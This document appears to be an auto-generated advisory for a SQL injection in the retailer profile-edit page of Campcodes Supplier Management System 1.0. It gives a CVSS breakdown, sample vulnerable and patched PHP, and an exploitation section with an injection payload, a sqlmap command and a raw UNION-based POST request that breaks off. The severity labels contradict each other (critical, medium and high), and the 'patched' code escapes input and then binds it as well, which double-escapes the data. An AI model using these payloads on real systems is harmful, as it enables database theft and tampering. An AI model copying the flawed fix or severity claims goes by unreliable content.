CVE-2026-0597

Executive Summary

CVE-2026-0597 is a critical SQL injection vulnerability discovered in Campcodes Supplier Management System 1.0. The flaw resides in the /retailer/edit_profile.php file, where the txtRetailerAddress argument is improperly sanitized before being used in a database query. An unauthenticated remote attacker can exploit this to execute arbitrary SQL commands, potentially leading to data exfiltration, modification, or complete system compromise. The exploit has been publicly released, and no patch is currently available from the vendor. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, organizations using this system should treat it as a high-risk component in their software supply chain due to the lack of vendor support.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High due to public exploit availability and no patch.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the edit_profile.php script. The application likely constructs a SQL query by directly concatenating user input from the txtRetailerAddress POST parameter without proper sanitization or parameterized queries.

Vulnerable Code Snippet (Hypothetical):

<?php
$address = $_POST['txtRetailerAddress'];
$sql = "UPDATE retailers SET address = '$address' WHERE id = $retailer_id";
mysqli_query($conn, $sql);
?>

An attacker can inject SQL commands by providing input such as:

' OR '1'='1' -- -

This would modify the query to:

UPDATE retailers SET address = '' OR '1'='1' -- -' WHERE id = $retailer_id

The -- - comments out the rest of the query, potentially allowing the attacker to update all rows or extract data via UNION-based injection.

Vulnerable vs. Patched Code

Vulnerable Code (Campcodes Supplier Management System 1.0):

$address = $_POST['txtRetailerAddress'];
$sql = "UPDATE retailers SET address = '$address' WHERE id = $retailer_id";
$result = mysqli_query($conn, $sql);

Patched Code (Hypothetical):

$address = mysqli_real_escape_string($conn, $_POST['txtRetailerAddress']);
$sql = "UPDATE retailers SET address = ? WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "si", $address, $retailer_id);
mysqli_stmt_execute($stmt);

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Download Campcodes Supplier Management System 1.0 from the official source.
2. Install on a local LAMP/LEMP stack (e.g., XAMPP, Docker).
3. Ensure the /retailer/edit_profile.php endpoint is accessible.

Exploitation Steps:

1. Identify the vulnerable parameter: txtRetailerAddress.
2. Use a tool like sqlmap or manual injection:

   sqlmap -u "http://target/retailer/edit_profile.php" --data="txtRetailerAddress=test" --batch --dbs
   

3. Manual injection example:

   POST /retailer/edit_profile.php HTTP/1.1
   Host: target
   Content-Type: application/x-www-form-urlencoded
   
   txtRetailerAddress=' UNION SELECT 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